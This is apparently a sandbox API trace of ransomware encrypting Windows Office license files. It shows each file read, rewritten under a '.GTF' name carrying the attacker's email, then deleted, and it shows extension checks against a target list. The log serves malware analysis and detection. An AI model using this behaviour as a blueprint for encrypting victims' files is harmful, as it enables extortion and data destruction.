	[0180.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0180.175] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11635) returned 1
	[0180.175] CloseHandle (hObject=0x568) returned 1
	[0180.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ul-oob.xrm-ms")) returned 0x220
	[0180.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0180.176] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.176] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0180.177] GetLastError () returned 0x0
	[0180.177] ReadFile (in: hFile=0x568, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2d73, lpOverlapped=0x0) returned 1
	[0180.179] WriteFile (in: hFile=0x504, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0180.180] ReadFile (in: hFile=0x568, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.180] WriteFile (in: hFile=0x504, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x11e, lpOverlapped=0x0) returned 1
	[0180.180] SetEndOfFile (hFile=0x504) returned 1
	[0180.180] CloseHandle (hObject=0x504) returned 1
	[0180.180] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.180] SetEndOfFile (hFile=0x568) returned 1
	[0180.183] CloseHandle (hObject=0x568) returned 1
	[0180.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0180.183] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ul-oob.xrm-ms")) returned 1
	[0180.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87
	[0180.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87
	[0180.184] lstrlenW (lpString=".doc") returned 4
	[0180.184] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.184] lstrlenW (lpString=".docx") returned 5
	[0180.184] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.184] lstrlenW (lpString=".pdf") returned 4
	[0180.184] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.184] lstrlenW (lpString=".xls") returned 4
	[0180.185] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.185] lstrlenW (lpString=".xlsx") returned 5
	[0180.185] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.185] lstrlenW (lpString=".ppt") returned 4
	[0180.185] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87
	[0180.185] lstrlenW (lpString=".zip") returned 4
	[0180.185] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.185] lstrlenW (lpString=".rar") returned 4
	[0180.185] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.185] lstrlenW (lpString=".bz2") returned 4
	[0180.185] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.185] lstrlenW (lpString=".7z") returned 3
	[0180.185] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87
	[0180.185] lstrlenW (lpString=".dbf") returned 4
	[0180.185] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87
	[0180.185] lstrlenW (lpString=".1cd") returned 4
	[0180.185] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87
	[0180.185] lstrlenW (lpString=".jpg") returned 4
	[0180.185] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87
	[0180.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87
	[0180.185] lstrlenW (lpString=".doc") returned 4
	[0180.185] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.185] lstrlenW (lpString=".docx") returned 5
	[0180.185] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.185] lstrlenW (lpString=".pdf") returned 4
	[0180.185] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.185] lstrlenW (lpString=".xls") returned 4
	[0180.185] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.185] lstrlenW (lpString=".xlsx") returned 5
	[0180.185] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.186] lstrlenW (lpString=".ppt") returned 4
	[0180.186] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87
	[0180.186] lstrlenW (lpString=".zip") returned 4
	[0180.186] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.186] lstrlenW (lpString=".rar") returned 4
	[0180.186] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.186] lstrlenW (lpString=".bz2") returned 4
	[0180.186] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.186] lstrlenW (lpString=".7z") returned 3
	[0180.186] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87
	[0180.186] lstrlenW (lpString=".dbf") returned 4
	[0180.186] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87
	[0180.186] lstrlenW (lpString=".1cd") returned 4
	[0180.186] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87
	[0180.186] lstrlenW (lpString=".jpg") returned 4
	[0180.186] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.186] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0180.186] lstrlenW (lpString="O365HomePremR_SubTrial5-pl.xrm-ms") returned 33
	[0180.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0180.187] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11183) returned 1
	[0180.187] CloseHandle (hObject=0x568) returned 1
	[0180.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-pl.xrm-ms")) returned 0x220
	[0180.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0180.188] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.188] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0180.189] GetLastError () returned 0x0
	[0180.189] ReadFile (in: hFile=0x568, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2baf, lpOverlapped=0x0) returned 1
	[0180.196] WriteFile (in: hFile=0x504, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0180.197] ReadFile (in: hFile=0x568, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.197] WriteFile (in: hFile=0x504, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x116, lpOverlapped=0x0) returned 1
	[0180.197] SetEndOfFile (hFile=0x504) returned 1
	[0180.197] CloseHandle (hObject=0x504) returned 1
	[0180.197] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.197] SetEndOfFile (hFile=0x568) returned 1
	[0180.200] CloseHandle (hObject=0x568) returned 1
	[0180.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0180.200] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-pl.xrm-ms")) returned 1
	[0180.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83
	[0180.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83
	[0180.201] lstrlenW (lpString=".doc") returned 4
	[0180.201] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.201] lstrlenW (lpString=".docx") returned 5
	[0180.201] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.201] lstrlenW (lpString=".pdf") returned 4
	[0180.201] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.201] lstrlenW (lpString=".xls") returned 4
	[0180.201] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.201] lstrlenW (lpString=".xlsx") returned 5
	[0180.201] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.201] lstrlenW (lpString=".ppt") returned 4
	[0180.202] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83
	[0180.202] lstrlenW (lpString=".zip") returned 4
	[0180.202] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.202] lstrlenW (lpString=".rar") returned 4
	[0180.202] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.202] lstrlenW (lpString=".bz2") returned 4
	[0180.202] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.202] lstrlenW (lpString=".7z") returned 3
	[0180.202] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83
	[0180.202] lstrlenW (lpString=".dbf") returned 4
	[0180.202] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83
	[0180.202] lstrlenW (lpString=".1cd") returned 4
	[0180.202] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83
	[0180.202] lstrlenW (lpString=".jpg") returned 4
	[0180.202] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83
	[0180.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83
	[0180.202] lstrlenW (lpString=".doc") returned 4
	[0180.202] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.202] lstrlenW (lpString=".docx") returned 5
	[0180.202] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.202] lstrlenW (lpString=".pdf") returned 4
	[0180.202] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.202] lstrlenW (lpString=".xls") returned 4
	[0180.202] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.202] lstrlenW (lpString=".xlsx") returned 5
	[0180.202] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.202] lstrlenW (lpString=".ppt") returned 4
	[0180.202] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83
	[0180.203] lstrlenW (lpString=".zip") returned 4
	[0180.203] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.203] lstrlenW (lpString=".rar") returned 4
	[0180.203] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.203] lstrlenW (lpString=".bz2") returned 4
	[0180.203] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.203] lstrlenW (lpString=".7z") returned 3
	[0180.203] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83
	[0180.203] lstrlenW (lpString=".dbf") returned 4
	[0180.203] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83
	[0180.203] lstrlenW (lpString=".1cd") returned 4
	[0180.203] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83
	[0180.203] lstrlenW (lpString=".jpg") returned 4
	[0180.203] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.203] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0180.203] lstrlenW (lpString="O365HomePremR_SubTrial5-ppd.xrm-ms") returned 34
	[0180.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0180.204] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=23135) returned 1
	[0180.204] CloseHandle (hObject=0x568) returned 1
	[0180.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ppd.xrm-ms")) returned 0x220
	[0180.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0180.344] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.345] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0180.346] GetLastError () returned 0x0
	[0180.346] ReadFile (in: hFile=0x378, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x5a5f, lpOverlapped=0x0) returned 1
	[0180.359] WriteFile (in: hFile=0x52c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x5a60, lpOverlapped=0x0) returned 1
	[0180.361] ReadFile (in: hFile=0x378, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.361] WriteFile (in: hFile=0x52c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x118, lpOverlapped=0x0) returned 1
	[0180.361] SetEndOfFile (hFile=0x52c) returned 1
	[0180.361] CloseHandle (hObject=0x52c) returned 1
	[0180.361] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.361] SetEndOfFile (hFile=0x378) returned 1
	[0180.364] CloseHandle (hObject=0x378) returned 1
	[0180.364] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0180.365] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ppd.xrm-ms")) returned 1
	[0180.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84
	[0180.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84
	[0180.366] lstrlenW (lpString=".doc") returned 4
	[0180.366] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.366] lstrlenW (lpString=".docx") returned 5
	[0180.366] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.366] lstrlenW (lpString=".pdf") returned 4
	[0180.366] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.366] lstrlenW (lpString=".xls") returned 4
	[0180.366] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.366] lstrlenW (lpString=".xlsx") returned 5
	[0180.366] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.366] lstrlenW (lpString=".ppt") returned 4
	[0180.366] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84
	[0180.366] lstrlenW (lpString=".zip") returned 4
	[0180.366] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.366] lstrlenW (lpString=".rar") returned 4
	[0180.366] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.366] lstrlenW (lpString=".bz2") returned 4
	[0180.366] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.366] lstrlenW (lpString=".7z") returned 3
	[0180.366] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84
	[0180.366] lstrlenW (lpString=".dbf") returned 4
	[0180.366] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84
	[0180.366] lstrlenW (lpString=".1cd") returned 4
	[0180.366] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84
	[0180.366] lstrlenW (lpString=".jpg") returned 4
	[0180.366] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84
	[0180.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84
	[0180.367] lstrlenW (lpString=".doc") returned 4
	[0180.367] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.367] lstrlenW (lpString=".docx") returned 5
	[0180.367] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.367] lstrlenW (lpString=".pdf") returned 4
	[0180.367] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.367] lstrlenW (lpString=".xls") returned 4
	[0180.367] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.367] lstrlenW (lpString=".xlsx") returned 5
	[0180.367] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.367] lstrlenW (lpString=".ppt") returned 4
	[0180.367] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84
